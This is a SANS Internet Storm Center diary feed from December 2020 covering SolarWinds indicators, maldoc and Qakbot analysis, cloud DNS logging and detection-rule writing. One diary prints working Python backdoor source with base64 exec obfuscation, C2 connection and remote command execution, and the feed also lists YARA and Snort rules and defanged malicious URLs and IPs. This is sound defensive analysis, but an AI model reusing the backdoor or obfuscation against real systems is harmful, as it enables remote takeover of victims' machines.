Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 1 óra 16 perc
2020. december 18.

A slightly optimistic tale of how patching went for CVE-2019-19781, (Fri, Dec 18th)

Since we could all probably use a little distraction from the current Solarigate/SUNBURST news[1,2,3], I thought it might be good to look at something a little bit more positive today. Specifically, at how patching of CVE-2019-19781 AKA “Shitrix” AKA “one of the more famous named vulnerabilities from the end of 2019” went.

Given that my last couple of diaries dealing with vulnerabilities discussed mainly the surprisingly high number of systems still affected by fairly old CVEs[4,5], you might reasonably ask what “positive” information might await us in this one with regards to Shitrix. In its case, however, the situation truly seems to have taken a turn for the better during 2020.

You may remember that Xavier covered the number of unpatched systems accessible from the internet in May[6] and the situation has been steadily improving since then. Based on data from Shodan, it seems that only approximately 4.5 % of the originally affected number of machines are still vulnerable.

Don’t get me wrong – since vulnerable Citrix ADCs may provide (in the case of systems which are still vulnerable read “have almost certainly already provided”) a way for attackers into internal networks, even one exposed vulnerable machine is one too many. We only need to look to the Düsseldorf University Hospital ransomware attack[7] to see how significant issue an exploitation of a system affected by Shitrix many months after the first exploit was published[8] may be.

But when we compare the significant decrease in the number of systems affected by CVE-2019-19781 in 2020 with the much slower decrease we’ve seen for SMBGhost[4] or even BlueKeep[5], the situation does seem much more optimistic. We can of course hardly compare the impact of a vulnerability like Shitrix with the impact of a trojanized software update for a critical network management system, so let us hope that the response to the crisis currently facing us will be even faster than that...

Although even when it comes to and NMS such as SolarWinds Orion, one can hardly expect that all of the affected systems would eventually be free of malicious code, since not all organizations have the wherewithal to monitor security issues and mitigate them. Or, as Johannes recently put it, “some organizations care, others do not”[9].


Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 18.

ISC Stormcast For Friday, December 18th 2020, (Fri, Dec 18th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 17.

"Amazon" invoice that asks to call 1-866-335-0659 "to cancel" an order that you never made is (obviously) a #scam, (Thu, Dec 17th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 17.

ISC Stormcast For Thursday, December 17th 2020, (Thu, Dec 17th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 17.

DNS Logs in Public Clouds, (Wed, Dec 16th)

The current Solarwinds/Sunburst/Fireeye incident and its associated command&control (C2) traffic to avsvmcloud[.]com domains [1] have spurred potentially affected Solarwinds customers to searching their logs and data for any presence of this C2 domain. While the Snort IDS rules published by FireEye [2] would detect any currently ongoing traffic to the C2 domain, they are of no use in an attempt to answer the question if any such connections were made in the past. Given the timeline of the incident, ranging as currently known from March 2020 to today, this isn't a straight forward search.

What helps in such a scenario are:
a) Full packet captures on the Internet uplink
b) Logs of the DNS resolver
c) Logs of any proxy server or gateway used to connect to the Internet

With today's bandwidths and data volumes, full packet capture is probably not practical except for deep-pocketed institutions. And I'm guessing that even for them, >6 months of retention will be a stretch. Logs of the DNS resolver can be retained more readily, because they usually compress nicely, and can even be indexed into a first seen / last seen database for use as a "Passive DNS" [3]. And lastly, proxy or firewall logs, are only a partial indicator at best in this scenario, because these logs likely wouldn't register if the C2 domain was just DNS-resolved by the implant, but the malware then subsequently remained dormant.

And in any case, all of these network forensics countermeasures mentioned so far describe what many companies have available in their "legacy IT" environment or on-premises network. Fast forward to "The Cloud", and things begin to look a lot more murky. Unless significant architectural effort has been spent on network design and egress filtering, virtual machines (VMs) in both Azure and AWS have direct connectivity to the Internet, and make use of a Microsoft / Amazon provided DNS resolver.

In Azure, a VM can be configured to have a Private DNS Zone, but the ability for Azure Firewall to log any DNS name resolution is a feature that only became available very recently [4,5]. The same is the case for Amazon, where Resolver Query Logging from private VNets is an equally recent feature [6].

Consequently, it is fair to assume that most Azure and AWS deployments today won't have DNS resolver logs available, and therefore don't have any straight forward way to determine if their Azure/AWS environment ever reached out to the SUNBURST domains in the recent months. While there are developments like DNS-over-HTTPS (DoH) that may render DNS logs less useful in future, for the time being, passive DNS / DNS resolver logs are still a must-have. The pivot points this provides for network forensics and timeline analysis are just too valuable. Hence, if your on-premises network has such DNS resolver logs available, but your Cloud doesn't, maybe this is one of the items that should make it onto your to-do list for 2021.


(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 16.

ISC Stormcast For Wednesday, December 16th 2020, (Wed, Dec 16th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 15.

Analyzing FireEye Maldocs, (Tue, Dec 15th)

When FireEye released YARA rules to detect their stolen red team tools, I was interested in their maldoc rules:

This rule here (Methodology_OLE_CHARENCODING_2) detects OLE files (.doc, .xls, ...) that contains sequences of decimal numbers. Converted to ASCII, these numbers reveal short strings: "echo off", "MZ", "PK".

That indicates to me that maldocs created with FireEye's tool embed a .BAT file, a .EXE and/or a .ZIP file.

The maldoc sample mentioned in the rule is available on VirusTotal: MD5 41b70737fa8dda75d5e95c82699c2e9b.

I analyze this maldoc as follows:

First I run my oledump tool:

The macro indicators (M and m) tell me that there is VBA code in this maldoc. But my attention is first drawn to the streams that end with /o (stream 10 and 20). Hiding payloads, scripts, ... inside VBA user form values is a well-known technique used by malware authors. I have a plugin to help with the analysis of maldocs that use this technique: plugin_stream_o.

This is the command:

So stream 10 contains a value that looks like a message to be displayed by this maldoc.

And stream 20 contains the payload we are looking for: a long sequence of decimal numbers. It starts with 80;75;3;4: that's the YARA rule's detection string for a ZIP record.

Remark also the "Found: 2" message from the plugin: this is new since the last version. This means there are 2 values inside this stream (if there is only one value, this Found message is not displayed, just like older versions of the plugin do).

The next step now is to convert this sequence of decimal numbers to bytes. I have a tool for that:

Since there are 2 values inside stream 20, I want to take a closer look first. I use option -S of to produce statistics for each line of text with numbers:

So there are 2 values inside stream 20 that are long sequences of decimal numbers. Line 25: 66124 values between 0 and 255, Line 26: 66191 values between 0 and 255. So it looks like we have 2 embedded files in here, probably 2 ZIP files.

I select the first value (line 25), decode it as binary data (-b) and analyze it with my tool

So that is indeed a ZIP file, and it contains a .exe file.

I do a quick check to see if the second value (line 26) also decodes to a ZIP file:

And indeed, that one too is a .exe file.

With zipdump's option -e I get extra info, like the hash to look the file up on VirusTotal:

Here are the samples: 2eb4469c76f5230c66626a6918c7664f and 0d9391a889ba91a3da63654d51820e89.

So this FireEye maldoc is not hard to analyze.

Remark that in the YARA rule, there are strings with separator : and x beside ;. It looks like there can be variations in the encoding, but that has no effect on the decoding of the decimal numbers by my tool.

I also checked if VBA stomping or purging was performed on this maldoc, but that doesn't seem to be the case:

There is compiled code and VBA code inside the module streams. So the compiled VBA code has not been purged, and neither has the source code been stomped, since I can find VBA source code with Shell statements and CreateObject calls:

I recorded a video of this analysis, where I also take a look at the VBA code:


Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 15.

ISC Stormcast For Tuesday, December 15th 2020, (Tue, Dec 15th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 14.

ISC Stormcast For Monday, December 14th 2020, (Mon, Dec 14th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 14.

SolarWinds Breach Used to Infiltrate Customer Networks (Solarigate), (Mon, Dec 14th)

[This is a developing story and will likely be updated as we learn more details. We are preparing a webcast for Monday evening ET]

SolarWinds today announced that a vulnerability in its product was apparently used to breach multiple high profile organizations, including FireEye[1]. 

FireEye released news of a breach last week but was very quiet about the nature of the compromise.

According to SolarWinds' statement, updates to the Orion product released between March and June of 2020 are affected. The SolarWinds Orion Platform is an IT management platform that will centralize IT operations, security, and management. A compromise of this platform may affect all parts of a network that are controlled by Orion. An attacker would be able to enable/disable security tools, change configurations or load unauthorized patches (or prevent patches from being applied), among other things.

What you should do at this point:

  1. Verify if you are running SolarWinds Orion and if so, assert which networks are managed by it (likely all or most of your network)
  2. Get in touch with SolarWinds ASAP to learn how to detect a compromise. Right now, we do not have any IoCs (but will publish them as we learn more)
  3. Microsoft apparently published a blog post for its APT Defender customers with some IoCs [2]
  4. Carefully monitor your SolarWinds Orion installs for unusual behavior.
  5. As of Sunday morning, Microsoft Defender will detect related malware as "Solarigate" [5]

The malicious code included with the affected versions of SolarWinds may include a Cobalt Strike implant. See Didier's diary from last week for details on analyzing Cobalt Strike beacons [3] and the recently released Cobalt Strike TLS fingerprints for JARM [4]

IOCs from Microsoft's report:

  • several malicious DLLs where identified
    • Sha256: 32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
      Sha1: 76640508b1e7759e548771a5359eaed353bf1eec
      File Size: 1011032 bytes
      File Version: 2019.4.5200.9083
      Date first seen: March 2020
    • Sha256: dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b
      Sha1: 1acf3108bf1e376c8848fbb25dc87424f2c2a39c
      File Size: 1028072 bytes
      File Version: 20202.100.12219
      Date first seen: March 2020
    • Sha256: eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed
      Sha1: e257236206e99f5a5c62035c9c59c57206728b28
      File Size: 1026024 bytes
      File Version: 2020.2.100.11831
      Date first seen: March 2020
    • Sha256: c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77
      Sha1: bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387
      File Size: 1026024 bytes
      File Version: not available
      Date first seen: March 2020
    • Sha256: ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c 
  • the malicious DLLs connect to infrastructure using the domain. 


Johannes B. Ullrich, Ph.D. Dean of Research,

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 13.

KringleCon 2020, (Sun, Dec 13th)

The SANS Holiday Hack Challenge is an annual, free CTF.

For the third year, it includes KringleCon 2020, a free virtual online hacker conference hosted on YouTube.

And of course, the videos of the first and second KringleCon are still online too.

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 13.

Wireshark 3.4.1 Released, (Sun, Dec 13th)

Wireshark version 3.4.1 was released.

It has vulnerability and bug fixes, like a USB HID dissector crash.

Didier Stevens

Senior handler
Microsoft MVP


(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 12.

Office 95 Excel 4 Macros, (Sat, Dec 12th)

A couple of people shared recent maldocs with me, like this one.

These turn out to be Excel spreadsheets with Excel 4 macros, saved using Excel 95 file format. This format uses BIFF5/BIFF7 records (a workbook stream is composed of BIFF records).

I've updated my plugin to recognize this format:

For the BIFF record 0809, the beginning of file record (BOF), my plugin now indicates BIFF5/BIFF7 for this ancient format.

If this spreadsheet is password protected, a FILEPASS record will follow the the BOF record. The data of all BIFF records following this FILEPASS records is encrypted (except for a few record types). The encryption is XOR or RC4.

In this example, the encrypton is "XOR obfuscation" and it predates the BIFF8 format.

Unfortunately, I didn't find open source tools to decrypt this ancient format.

msoffice-crypt.exe does support XOR obfuscation, but only for the BIFF8 format. Not older formats like this one.

msoffcrypto (used by my tool msoffcrypto-crack) does not yet support XOR obfuscation. This is on the todo list.

Dynamic analysis is required to extract the IOCs of maldocs like these.


Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 11.

Cisco Jabber Desktop and Mobile Security Advisory Published (CVSS: 9.9):, (Fri, Dec 11th)


John Bambenek

bambenek \at\ gmail /dot/ com

Bambenek Labs - Well Fed Intelligence

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 11.

Writing Yara Rules for Fun and Profit: Notes from the FireEye Breach Countermeasures, (Thu, Dec 10th)

By now, everyone should have seen that FireEye got breached and their red team tools got stolen. What is truly unique about their response is publishing detection rules to detect the use of those tools in the wild. However, the nature of some of those rules is that the detection will be short-lived. This isn't necessarily a fault of FireEye (as I will explain below) but it is useful as an exercise in writing Yara rules (or Snort, HXIOC, STIX, et al).

For programs, particularly compiled ones, you can think of it as seperated into three parts: the stuff that makes the program do what it does, free-form text for output (error messages, requests for user input, filenames, etc), and metadata (i.e. compiler artifacts). All of these can be modified, of course, but the most difficult to modify is the "stuff that makes the program go". To do that, you need a strong understanding of the code, what the functions do, what returns are expected, and what the expected inputs are. Changing metadata or free-form text, on the other hand, doesn't affect the running of the program and detection that relies on that is transient. An attacker can simply go in, search for the strings or metadata and change them with the tooling of their choice all with no real understanding of the underlying code.

Many of FireEye's countermeasures look for free-form text or metadata and not the functioning of the tool which is why those countermeasures will likely be short-lived. That doesn't mean, however, FireEye's approach is wrong.

For instance, the below Yara rule is detecting a specific GUID for a specific project in a .csproj file. This GUID likely has nothing to do with how Rubeus actually works so it can be arbitrarily changed.

rule HackTool_MSIL_Rubeus_1 { meta: description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project." md5 = "66e0681a500c726ed52e5ea9423d2654" rev = 4 author = "FireEye" strings: $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide condition: uint16(0) == 0x5A4D and $typelibguid }

The approach to writing rules based on metadata or free-form text is not wrong, depending on the purpose you write the rules for. You can either write rules to detect tools or you can write tools to detect actors. Both are useful, but which you use depends on your specific objective.

Among other things, FireEye does good work in attribution of nation-state attacks. When doing the work of intelligence analysis, I love free-form text. It is extremely hard for an attacker to put in free-form text that doesn't give me something to work with, especially when there is a reasonably sized body of text to work with. For instance, an attacker using the word "colour" vs "color" tells me (potentially) something, namely whether they speak American or speak proper English. I have no inside knowledge as to how FireEye writes their rules, but it comes as little surprise to me that many of the rules are written in a way that seems more calibrated to detect actors than tools. For instance, lots of actors use Cobalt Strike, but if I want to know who is behind a specific campaign, I need to look for other things than just the use of Cobalt Strike.

Both approaches are valid, but likely most enterprises are more interested in detecting the use of FireEye's specific tools rather than the attributive information associated with this tools, so other techniques will be needed. That said, both approaches are still valid for their defined use-case, as long as you are intentional about which road you want to travel (or that you're traveling both roads simultaenously by having rules that have both approaches).

However, writing detection logic and thinking through things can sometimes be lacking which leads to completely ineffective rule writing. One of my favorite Snort rules for this example is SID 1239.

# alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"OS-WINDOWS RFParalyze Attempt"; flow:to_server,established; content:"BEAVIS"; content:"yep yep"; metadata:ruleset community; reference:bugtraq,1163; reference:cve,2000-0347; reference:nessus,10392; classtype:attempted-recon; sid:1239; rev:14;)

This is obviously an old rule on CVE-2000-0347. It was discussed on Bugtraq back in the day and you can read the disclosure with a PoC here. What this PoC does is popup a window on a remote vulnerable Windows machine with the title "BEAVIS" and the content "yep yep" (the comment in the PoC is wrong, it is "yep" not "yeh". This Snort rule doesn't detect the exploit, it only detects the PoC payload which means any weaponized use of that exploit would be undetected. All that it would detect is the script kiddies lurking on Bugtraq who downloaded the PoC and launched it against the Internet (in fairness, this was a very common thing to happen back in the bugtaq full disclosure days). However, if I am an enterprise looking to protect myself, this rule gives me nothing. No serious attacker is going to launch popups on remote workstations with Beavis and Butthead references.

So for those of you writing Yara, Snort, or other detection rules, be mindful of what objective you are trying to accomplish with the detection and pick your logic based on what is hopefully enduring and not transitory features of the attacker.

John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Labs - Well Fed Intelligence

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 11.

ISC Stormcast For Friday, December 11th 2020, (Fri, Dec 11th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 10.

Python Backdoor Talking to a C2 Through Ngrok, (Thu, Dec 10th)

I spotted a malicious Python script that implements a backdoor. The interesting behavior is the use of Ngrok to connect to the C2 server. Ngrok has been used for a while by attackers. Like most services available on the Internet, it has been abused by attackers for a long time. If you're not familiar with Ngrok[1], here is the principle: You download the Ngrok client and publish your services (ex: a web server) in the wild. Ngrok acts like a reverse-proxy and allows access to your published services. Because Ngrok is very popular, it's often not considered as harmful and is allowed to bypass firewalls, NAT, etc... By default, the host assigned to your published service is random but, if you create an account, you can force the host to be used (and use it in your malicious code). Example:

# ngrok tcp --region=us --remote-addr 80

This command will expose your local web server through hxxp://

The script has been found on VT (SHA256:eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf) and has a score of 5/59[2]. The obfuscation is performed by Base64 encoding the malicious code:

import socket import os import base64 exec(base64.b64decode("aW1wb3J0IHNvY ... AgICAgIHBhc3M=".encode('utf-8')).decode())

The backdoor is simple but effective:

import socket, subprocess, shutil, sys nameoffile = sys.argv[0] a = socket.socket() while True: try: a.connect(("<redacted>", <redacted>)) break except: pass while True: try: recvd = a.recv(1024) if recvd.decode() == "m:os": a.send(str(sys.platform).encode()) if recvd.decode() == "m:hide": ree = shutil.move(nameoffile,'C:\\') a.send(bytes(nameoffile + "moved to "+ ree +" sucessfully!",'UTF-8')) else: output = os.popen(recvd.decode()).read() a.send(output.encode()) except: pass

It is very simple. Two commands are implemented. "m:os" to report the operating system information and "m:hide" to move the script file. All other received commands will be passed to an os.popen() call to execute them and their result will be sent back to the C2.

What about the popularity of Ngrok in the malware landscape? I performed a VT retro-search to find more references to "". Here are the results:

Job ID: <redacted> Start time: 2020-12-09 13:24:35.476494 UTC Finish time: 2020-12-09 19:22:41.084292 UTC Scanned data size: 730.5 TB Matches: 1535

I expected more hits but it is indeed a cool technique for attackers to hide their infrastructure. I would recommend keeping an eye on traffic to To search for DNS queries like "\.(tcp|udp)\.ngrok\.io" is a good start. If not malicious, the usage of Ngrok might also reveal some shadow IT stuff in place or potential security issues (like developers sharing test applications or security controls bypass).


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 10.

ISC Stormcast For Thursday, December 10th 2020;id=7286, (Thu, Dec 10th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 9.

Recent Qakbot (Qbot) activity, (Wed, Dec 9th)


Today's diary is a review of a Qakbot (Qbot) infection I generated on Tuesday 2020-12-08.

Qakbot generally includes follow-up malware like Cobalt Strike (such as this example), but my infection on Tuesday 2020-12-08 was a basic Qakbot infection that didn't run long enough for follow-up malware or other activity.

Of note, in late-November 2020, Qakbot underwent a version update.  I've noticed this in my day-to-day research, but nothing comprehensive has been published yet.  A few tweets about it:

I'll review some of the changes I've noticed about the update in today's diary.

Shown above:  Chain of events for the Qakbot infection we're reviewing today.

The malspam

Malspam examples I found from Tuesday 2020-12-08 were fake replies to legitimate email chains, although the example shown below might be a Qakbot-generated reply for an unsolicited spam message.

Shown above:  An example of Qakbot malspam from Tuesday 2020-12-08.

The attached ZIP archive has an Excel spreadsheet with macros designed to infect a vulnerable Windows host with Qakbot malware.  Even with the version update, these spreadsheets distributing Qakbot have the same template we've seen for the past several months.

Shown above:  Excel spreadsheet extracted from the ZIP attachment.

Infection activity

Typical for Qakbot, we see an HTTP GET request for a URL ending in .jpg that returned a Windows binary (in this case a DLL).  This often is an HTTPS URL, where we would not see the Windows binary in a pcap.  In recent moths, I've seen as many HTTPS URLs for this as I have regular HTTP URLs.

Shown above:  HTTP traffic that returned a Windows DLL file for Qakbot.

Filtering the traffic in Wireshark, we find typical Qakbot post-infection activity.  But approximately 3 hours after the initial infection, I also saw web traffic to wellsfargo[.]com, which was unusual--especially since no browser had opened on the desktop of the infected Windows host.

Shown above:  Traffic from the infection filtered in Wireshark.

The user-agent string in HTTP traffic to wellsfargo[.]com indicated it may have been caused by Google Chrome.  Keep in mind the user-agent string is often spoofed during malware infections.  I also saw web traffic associated with the Firefox web browser.  This traffic is likely related to one of the Qakbot modules; however, I could not find any modules saved to disk on my infected host.

Shown above:  Filtering the traffic in Wireshark to show Firefox traffic, and other web traffic to wellsfargo[.]com from the infected host.

Shown above: Traffic to wellsfargo[.]com appears to be from Chrome, if the user-agent string is correct.

Qakbot malware version update

Sometime in late-November 2020, Qakbot malware was updated.  I know of at least 3 related things that are noticeably different than before.

1) The Qakbot binary retrieved by Microsoft Office macros changed from an EXE to a DLL.

  • Prior to the update, the initial Qakbot binary was an EXE made persistent through a Windows registry update at HKCU\SOFTWARE\Microsoft\WIndows\CurrentVersion\Run.
  • After the update, the initial Qakbot binary has been a DLL file, and there is no longer a Windows registry update at HKCU\SOFTWARE\Microsoft\WIndows\CurrentVersion\Run.

2) Qakbot now creates other Windows registry updates.  These updates are located at HKCU\SOFTWARE\Microsoft under a key that consists of a unique alphabetical string for each infected host.  It consists of several entries containing encoded binary data as shown in the example below.

Shown above:  An example of Windows registry update caused by the newest version of Qakbot.

3) The directory for Qakbot artifacts under C:\Users\[username]\AppData\Roaming\Microsoft now has fewer files.  Before the version update, we  saw a Windows EXE for Qakbot in this directory, and it was kept persistent in the Windows registry (see item 1 above).  Now, the folder no longer has an EXE and some other files are missing.  Compare the two images below.

Shown above:  An example of artifact caused by the old version of Qakbot.

Shown above:  Artifacts stores to the same type of directory after the late-November 2020 version update of Qakbot.

Qakbot's version update has resulted in other characteristics of the malware, and I'm certain someone will publish a more detailed write-up about it.  These three changes are the one's I've noticed, but I focus mostly on dynamic analysis (not code analysis or reverse engineering).

Indicators of Compromise (IoC)

The following are IoCs from my Qakbot infection from Tuesday 2020-12-08.

ZIP archives from 4 malspam examples:

Excel spreadsheets extracted from the above ZIP archives:

HTTP traffic after enabling that returned a Qakbot DLL file:

  • 35.208.146[.]4 port 80 - supyouryoga[.]com - GET /svgqcnjto/590906.jpg

Qakbot post-infection traffic:

  • 62.38.114[.]12 port 2222 - HTTPS traffic caused by Qakbot
  • 197.45.110[.]165 port 995 - HTTPS traffic caused by Qakbot
  • port 443 - www.openssl[.]org - connectivity check caused by Qakbot
  • 54.36.108[.]120 port 65400 - TCP traffic caused by Qakbot

Unusual (to me) activity from Qakbot-infected host:

  • port 80 - wellsfargo[.]com - GET /
  • various IP addresses over TCP port 443 - Wells Fargo-related domains - traffic caused by viewing wellsfargo[.[com
  • Firefox-related HTTP and HTTPS web traffic

Malware from an infected Windows host:

  • SHA256 hash: 5060806228d3f2c1afd09566d0d2fa6b2e56f844cd044c4c4e6e7ade9fef3a22
  • File size: 350,928 bytes
  • File retrieved from: hxxp://supyouryoga[.]com/svgqcnjto/590906.jpg
  • File saved to victim as: C:\Users\[username]\AppData\Kipofe.mmaallaauu
  • File description: DLL file for Qakbot retrieved by macro from Document_1495694596-Copy.xls
  • Run method: Rundll32.exe [filename],DllRegisterServer

Final words

Qakbot been active for several years, and it continues to evolve.  The latest version update has some significant changes, but infection traffic on vulnerable Windows hosts remains similar to what we've seen before with Qakbot.

A pcap of the infection traffic reviewed in this dairy and 4 examples of Qakbot malspam are available here.

Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 9.

ISC Stormcast For Wednesday, December 9th 2020;id=7284, (Wed, Dec 9th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.